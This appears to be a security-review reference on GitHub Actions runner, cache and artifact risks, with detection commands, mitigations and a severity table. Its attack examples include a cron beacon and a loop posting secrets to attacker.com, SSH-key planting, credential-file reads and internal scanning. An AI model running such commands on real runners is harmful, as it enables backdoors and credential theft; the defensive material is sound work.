Skill 15 · Gha Security Review
Subchapter 15.8
references/runner-infrastructure.mdMarkdown8 KBView on GitHub
GitHub Actions runners, caches, and artifacts form the infrastructure layer of CI/CD. Self-hosted runners persist between jobs (unlike GitHub-hosted runners), and cache/artifact poisoning can create cross-workflow attack paths.
GitHub-hosted runners are ephemeral — each job gets a fresh VM that’s destroyed after use. Self-hosted runners are persistent — files, processes, and credentials from one job remain available to the next.
# DANGEROUS: Self-hosted runner with pull_request trigger
on: pull_request # Fork PRs can run on self-hosted runners
jobs:
build:
runs-on: self-hosted # Persistent runner!
steps:
- uses: actions/checkout@v4
- run: npm install && npm test# Attacker's code in a fork PR running on self-hosted runner:
# 1. Install a persistent backdoor
echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner
# 2. Drop SSH keys
mkdir -p ~/.ssh
echo "attacker-public-key" >> ~/.ssh/authorized_keys
# 3. Steal cached credentials from previous jobs
cat ~/.docker/config.json # Docker registry credentials
cat ~/.npmrc # npm tokens
cat ~/.aws/credentials # AWS credentials from previous deployments# Attacker leaves a background process that intercepts future jobs
nohup bash -c 'while true; do
if [ -f /home/runner/work/*/secrets.env ]; then
curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
fi
sleep 10
done' &>/dev/null &Self-hosted runners often sit inside corporate networks:
# Attacker uses runner as pivot point
# Scan internal network
nmap -sn 10.0.0.0/24
# Access internal services
curl http://internal-api.corp.example.com/admin
curl http://169.254.169.254/latest/meta-data/ # Cloud metadataactions/cache stores and restores files between workflow runs using a key. The cache is scoped to a branch, but feature branches can read caches from the default branch.
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ hashFiles('package-lock.json') }}If an attacker can write to the cache (via a compromised workflow or PR build), subsequent jobs that restore the cache will use the poisoned content.
# Workflow on pull_request (fork code runs)
steps:
- uses: actions/checkout@v4
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ hashFiles('package-lock.json') }}
- run: npm install # Fork's package.json may install malicious deps
# Cache now contains attacker's node_modulesLater, a trusted workflow on main restores this cache:
# Workflow on push to main
steps:
- uses: actions/checkout@v4
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ hashFiles('package-lock.json') }}
# Restores attacker's poisoned node_modules if hash matches!
- run: npm test # Runs with poisoned dependencies| Branch | Can Read Cache From | Can Write Cache To |
|---|---|---|
| Default branch (main) | main only | main |
| Feature branch | Feature + main | Feature only |
| PR from fork | Fork branch + main | Fork branch |
Key risk: Fork PRs can read caches from main and write to their own branch cache. If the cache key can be predicted/matched, poisoning is possible.
actions/upload-artifact and actions/download-artifact pass data between workflows. If an untrusted workflow uploads an artifact, a trusted workflow that downloads it may execute poisoned content.
# Workflow 1: Build (on pull_request — fork code)
on: pull_request
steps:
- uses: actions/checkout@v4
- run: npm run build
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/ # Fork code controls what's in dist/
# Workflow 2: Deploy (on workflow_run — trusted)
on:
workflow_run:
workflows: [Build]
types: [completed]
steps:
- uses: actions/download-artifact@v4
with:
name: build-output
run-id: ${{ github.event.workflow_run.id }}
- run: ./deploy.sh dist/ # Deploying fork's build output!workflow_run triggered workflows can download artifacts from the triggering run# Find self-hosted runner usage
grep -rn "runs-on:.*self-hosted" .github/workflows/
# Find cache usage
grep -rn "actions/cache" .github/workflows/
# Find artifact upload/download
grep -rn "actions/upload-artifact\|actions/download-artifact" .github/workflows/
# Check if self-hosted runners are used with PR triggers
for f in .github/workflows/*.yml; do
if grep -q "self-hosted" "$f" && grep -q "pull_request" "$f"; then
echo "ALERT: $f uses self-hosted runner with PR trigger"
fi
done
# Find workflow_run workflows that download artifacts
grep -B5 "download-artifact" .github/workflows/*.yml | grep "workflow_run"
# Check cache keys for predictability
grep -A3 "actions/cache" .github/workflows/*.yml | grep "key:"# SAFE: Use GitHub-hosted runners for untrusted code
on: pull_request
jobs:
build:
runs-on: ubuntu-latest # Ephemeral, destroyed after job
steps:
- uses: actions/checkout@v4
- run: npm test
# If self-hosted runners are required:
# 1. Use ephemeral/auto-scaling runners (actions-runner-controller)
# 2. Never run fork PRs on self-hosted runners
# 3. Use runner groups to isolate trusted/untrusted workloads# SAFER: Include workflow context in cache key
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ github.ref }}-${{ hashFiles('package-lock.json') }}
# Branch-specific key reduces cross-branch poisoning risk
# SAFEST: Don't cache across trust boundaries
# Use separate cache keys for PR builds vs. main branch builds# SAFER: Verify artifact integrity before using
on:
workflow_run:
workflows: [Build]
types: [completed]
jobs:
deploy:
# Only deploy artifacts from trusted branches
if: github.event.workflow_run.head_branch == 'main'
steps:
- uses: actions/download-artifact@v4
- run: |
# Verify artifact checksums or signatures
sha256sum -c checksums.txt
./deploy.sh dist/| Pattern | Severity | Rationale |
|---|---|---|
Self-hosted runner with pull_request (forks enabled) | Critical | Fork code runs on persistent infrastructure |
Self-hosted runner with pull_request_target + fork checkout | Critical | Fork code + secrets + persistence |
| Cache used across trust boundaries (PR + main) | Medium | Cache poisoning possible but requires key match |
| Artifact downloaded from untrusted workflow run | High | Untrusted build output deployed to production |
Self-hosted runner for push to protected branches only | Low | Only trusted committers can trigger |